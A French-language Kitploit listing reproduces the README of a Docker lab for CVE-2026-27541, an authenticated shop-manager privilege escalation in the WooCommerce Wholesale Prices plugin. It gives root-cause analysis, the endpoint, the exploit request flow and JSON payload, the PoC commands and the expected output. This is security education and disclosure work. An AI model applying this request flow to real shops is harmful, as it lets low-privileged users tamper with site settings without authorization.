Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# Lab Docker pour reproduire la CVE-2026-27541, une élévation de privilèges authentifiée dans WooCommerce Wholesale Prices. Compare les versions vulnérable et corrigée, inclut un script PoC et une analyse de la cause racine.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-27541 — Laboratoire d'élévation de privilèges authentifiée WooCommerce Wholesale Prices

vulnx

Présentation

Ce projet est un laboratoire Docker local permettant d'analyser et de reproduire le comportement de CVE-2026-27541 dans le plugin WooCommerce Wholesale Prices / Wholesale Suite en comparant les versions vulnérable et corrigée côte à côte sur la même machine.

Le problème principal est un Contrôle d'accès cassé dans le point de terminaison d'API REST suivant :

root@kitploit:~
/wp-json/wwp/v1/admin/save

D'après le code source utilisé dans ce laboratoire, cette route possède déjà un permission_callback dans les versions vulnérable et corrigée. Cependant, la version affectée utilise un contrôle de capacité trop large pour une action d'écriture des paramètres administrateur :

  • vulnérable (2.2.6) → current_user_can( 'manage_woocommerce' )
  • corrigée (2.2.7) → current_user_can( 'manage_options' )
  • Dans ce laboratoire, l'utilisateur shopmgr, qui possède le rôle shop_manager, a manage_woocommerce=true mais pas manage_options. Par conséquent, cet utilisateur à faibles privilèges peut utiliser une session connectée valide ainsi qu'un X-WP-Nonce valide pour invoquer le point de terminaison d'enregistrement des paramètres administrateur sur la version vulnérable, tandis que la version corrigée renvoie 403 rest_forbidden pour la même requête.


    Ce que prouve ce laboratoire

    • Nœud vulnérable (2.2.6) : l'utilisateur shopmgr peut appeler avec succès POST /wp-json/wwp/v1/admin/save et modifier les paramètres du plugin.
    • Nœud corrigé (2.2.7) : la même requête de shopmgr est rejetée avec 403.
    • Requête non authentifiée : si le point de terminaison est appelé directement sans authentification, les deux versions renvoient 403, ce qui est cohérent avec un problème d'élévation de privilèges post-authentification.
    • Preuve de persistance : après une exécution réussie du PoC, la version vulnérable stocke l'option WordPress wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, tandis que la version corrigée renvoie toujours See wholesale prices.

    Topologie du laboratoire

    Services

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → bases de données MariaDB distinctes
    • seed-vuln / seed-patched → tâches d'initialisation wp-cli qui installent WordPress, installent le plugin, créent les utilisateurs et créent un produit pour les tests

    Ports publiés

    • http://localhost:8081 → vulnérable
    • http://localhost:8082 → corrigé

    Images de base

    • WordPress : wordpress:6.8.1-php8.2-apache
    • MariaDB : mariadb:11.4.5
    • Seed : wordpress:cli-php8.2

    Structure du dépôt

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    Fichiers importants

    • docker-compose.yml — définit les piles vulnérable et corrigée avec des bases de données distinctes
    • scripts/seed-wp.sh — installe WordPress, WooCommerce, le plugin cible, et crée les utilisateurs de test et les données produit
    • poc.py — PoC à impact minimal pour la connexion, l'extraction du nonce et l'invocation du point de terminaison REST

    Environnement initialisé

    Une fois la pile prête, le script d'initialisation crée les éléments suivants :

    Utilisateurs

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Produit

    • slug : lab-product
    • prix normal : 100
    • prix de gros : 50

    Versions

    • WooCommerce : 10.6.0

    • WooCommerce Wholesale Prices :

      • vulnérable : 2.2.6
      • corrigé : 2.2.7

    Le script écrit également lab-secrets.json dans chaque conteneur WordPress afin que les données initialisées et les informations de version puissent être vérifiées.


    Pourquoi le PoC est à impact minimal

    Ce PoC ne tente pas de prendre le contrôle du site, de modifier les rôles, d'installer des plugins ou d'exécuter un shell.

    Il fait uniquement ce qui suit :

    1. se connecte en tant que shopmgr
    2. visite la page d'administration concernée pour extraire wpApiSettings.nonce
    3. envoie une requête au point de terminaison cible
    4. modifie une valeur de paramètre facilement observable :
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Ce paramètre est utilisé comme marqueur observable pour démontrer qu'un utilisateur à faibles privilèges peut modifier une configuration réservée à l'administrateur.


    Résumé de la vulnérabilité

    Composant affecté

    • Plugin : WooCommerce Wholesale Prices / Wholesale Suite
    • Route : POST /wp-json/wwp/v1/admin/save

    Classe de vulnérabilité

    • Contrôle d'accès cassé
    • Élévation de privilèges authentifiée

    Signification pratique

    Bien que le point de terminaison exige une session et un nonce valides, la version vulnérable permet toujours à un utilisateur à faibles privilèges tel que shopmgr avec le rôle shop_manager d'invoquer un point de terminaison qui devrait être réservé à l'administrateur.

    Nuance importante

    Il ne s'agit pas d'une vulnérabilité non authentifiée.

    Si le point de terminaison est appelé directement sans session connectée, les versions vulnérable et corrigée rejettent toutes deux la requête. Le bug réside dans l'autorisation après authentification, pas dans l'authentification elle-même.


    Analyse de la cause racine

    La version vulnérable ne manque pas de permission_callback. Le défaut est qu'elle utilise un contrôle de capacité trop large (manage_woocommerce) pour une action REST qui écrit des paramètres côté administrateur.

    D'après le code source dans includes/class-wwp-admin-settings.php :

    • les versions vulnérable et corrigée enregistrent toutes deux la même route : POST /wp-json/wwp/v1/admin/save
    • les deux versions la dirigent vers save_registered_settings()
    • les deux versions utilisent permission_admin_check() comme permission_callback
    • la véritable différence réside dans la capacité vérifiée

    Vulnérable (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Corrigé (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Dans ce laboratoire, l'utilisateur shopmgr, qui possède le rôle shop_manager, a manage_woocommerce=true mais pas manage_options, il réussit donc le contrôle vulnérable mais échoue au contrôle corrigé.

    Ce qui a changé dans le comportement corrigé

    La version corrigée fait plus que changer la réponse de 200 à 403. Elle modifie la logique de contrôle d'accès en resserrant l'exigence de capacité de manage_woocommerce à manage_options.

    De plus, le chemin d'enregistrement dans la version corrigée est davantage renforcé en passant d'un filtrage basé sur les préfixes à des listes blanches explicites et une sanitisation plus forte.

    Pourquoi le PoC réussit sur la version vulnérable

    Le PoC suit le même flux qu'un contexte de navigateur réel :

    • se connecter en tant que shopmgr
    • ouvrir la page des paramètres du plugin
    • extraire wpApiSettings.nonce
    • appeler POST /wp-json/wwp/v1/admin/save

    Étant donné que la version vulnérable permet aux utilisateurs disposant de manage_woocommerce d'invoquer cette action d'écriture des paramètres, la requête réussit et entraîne une modification persistante d'option.

    Leçon de sécurité

    Un nonce aide à protéger contre le CSRF, mais ce n'est pas un contrôle d'autorisation.

    Avoir une session valide et un nonce valide ne signifie pas qu'un utilisateur devrait être autorisé à effectuer une action d'administrateur. L'utilisation d'une capacité trop large sur un point de terminaison privilégié suffit à créer un contournement d'autorisation à faibles privilèges.


    Reproduction du laboratoire

    Prérequis

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Accès Internet pour le téléchargement initial des images et du plugin

    1) Démarrer le laboratoire

    root@kitploit:~
    docker compose up -d --build
    

    2) Confirmer que les conteneurs sont actifs

    root@kitploit:~
    docker compose ps
    

    Vous devriez voir au moins :

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Surveiller les journaux d'initialisation

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Inspecter les métadonnées initialisées

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    Déroulement du PoC

    poc.py fonctionne comme suit :

    1. GET /wp-login.php

    2. POST /wp-login.php pour établir une session authentifiée

    3. ouvrir la page d'administration du plugin :

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. extraire wpApiSettings.nonce et la racine REST du HTML/JavaScript

    5. envoyer une requête à :

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. soumettre la charge utile :

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    Exécution du PoC

    Nœud vulnérable

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Nœud corrigé

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Résultats attendus

    Vulnérable (8081)

    Sortie attendue :

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Corrigé (8082)

    Sortie attendue :

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Vérification manuelle

    Vérification via l'interface

    Après que le PoC réussit sur le nœud vulnérable :

    1. déconnectez-vous ou ouvrez une fenêtre de navigation privée
    2. ouvrez la page produit ou la page de la boutique qui affiche le texte de remplacement
    3. recherchez :
    root@kitploit:~
    PWNED_BY_POC
    

    Impact sur la sécurité

    L'impact pratique de cette classe de bug est qu'un utilisateur à faibles privilèges peut modifier une configuration qui devrait être réservée à l'administrateur, ce qui peut directement conduire à :

    • la falsification de contenu
    • la manipulation de messages frontaux
    • l'abus de logique métier

    Ce laboratoire utilise intentionnellement une charge utile sûre et observable afin d'éviter les changements de rôle ou toute élévation au-delà de ce qui est nécessaire pour prouver la condition de vulnérabilité.


    Nettoyage

    root@kitploit:~
    docker compose down -v
    

    Notes de sécurité

    • Réservé à une utilisation en laboratoire local uniquement
    • Tous les services sont liés à localhost uniquement
    • Le PoC est intentionnellement à impact minimal et utilise une valeur observable inoffensive
    • N'adaptez pas ce PoC pour une utilisation contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester

    Références

    • Enregistrement CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • Page du plugin WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    Ce laboratoire montre que CVE-2026-27541 est un contournement d'autorisation authentifié à faibles privilèges dans le point de terminaison des paramètres de l'API REST du plugin. Le défaut de la version 2.2.6 n'est pas l'absence de contrôle de permission, mais l'utilisation d'une capacité trop large (manage_woocommerce) pour une action qui devrait être restreinte au niveau manage_options.

    Dans cet environnement local :

    • shopmgr réussit le contrôle vulnérable et peut modifier avec succès les paramètres côté administrateur via POST /wp-json/wwp/v1/admin/save
    • la même requête est bloquée sur 2.2.7
    • la version vulnérable persiste PWNED_BY_POC dans l'option cible, tandis que la version corrigée ne le fait pas

    Par conséquent, ce dépôt sert à la fois de preuve comportementale et de preuve basée sur le code de la différence entre la version vulnérable et la version corrigée dans un environnement local entièrement contrôlé.

    Télécharger l’outil